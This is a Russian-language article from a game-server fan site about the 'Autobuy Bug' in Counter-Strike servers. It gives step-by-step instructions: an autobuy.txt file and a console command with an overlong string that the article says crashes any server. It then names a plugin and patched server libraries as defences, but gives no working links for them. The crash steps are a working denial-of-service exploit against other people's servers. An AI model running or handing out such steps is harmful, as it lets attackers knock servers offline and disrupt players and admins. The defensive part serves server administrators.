Меню сайта
Форма входа
Наш опрос
вашь клиент?
Всего ответов: 81
Категории раздела
Мои статьи [55]
Мини-чат
200
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Поиск
Воскресенье, 22.06.2025, 12:37
Приветствую Вас Гость

Каталог статей

Главная » Статьи » Мои статьи

Autobuy Bug. О нём. Методы защиты

Краши серверов сейчас, к сожалению, стали очень популярными. Злоумышленники узнают/разрабатывают все новые и новые баги/уязвимости серверов, порою в целях мести админу или просто раскручивая свой сервер (продвигая его в топах и расчищая ему дорогу).

Autobuy Bug - Это простой баг. 

[Действие бага]

1) В файле autobuy.txt (лежит в папке cstrike вашей CS) пропишите следующее:

m4a1
ak47
famas
galil
p90
mp5

primammo
secammoalias "primammo" "buyammo1;buyammo1;buyammo1;buyammo1;buyammo1;buyammo1;buyammo1"
alias "secoammo" "buyammo2;buyammo2;buyammo2;buyammo2;buyammo2;buyammo2;buyammo2"

alias "+awpsniper" "awp;usp;vesthelm;flash;flash;hegren;defuser"
alias "-awpsniper" "slot10;secoammo;primammo"
then
bind "f5" "+awpsniper"

defuser
vesthelm
vest

2) Зайдите на ЛЮБОЙ сервер, зайдите за команду и когда будете в игре напишите в консоли:

cl_setautobuy fuck 12345678901234567890123456789012

и всё - сервак падает.

Проще говоря уязвимость в том, что autobuy не должен быть больше 32 символов или равен этому. Иначе войдя в игру с изменённым файлом, игрок может вызвать DoS атаку и "положить" сервер. 


[Методы защиты]

1) Существует плагин, который закрывает полностью данную уязвимость. 

ссылка

2) Существуют пропатченные библиотека/сошка под ваш сервер WIN/LIN, которые просто нужно заменить на своем сервере (папка cstrike/dlls). Плагин не нужен.

скачать патч [1.5 mb]

Категория: Мои статьи | Добавил: admin-VIP (17.02.2012)
Просмотров: 356 | Комментарии: 1 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
3ara6otok
Друзья сайта
  • Официальный блог
  • Сообщество uCoz
  • FAQ по системе
  • Инструкции для uCoz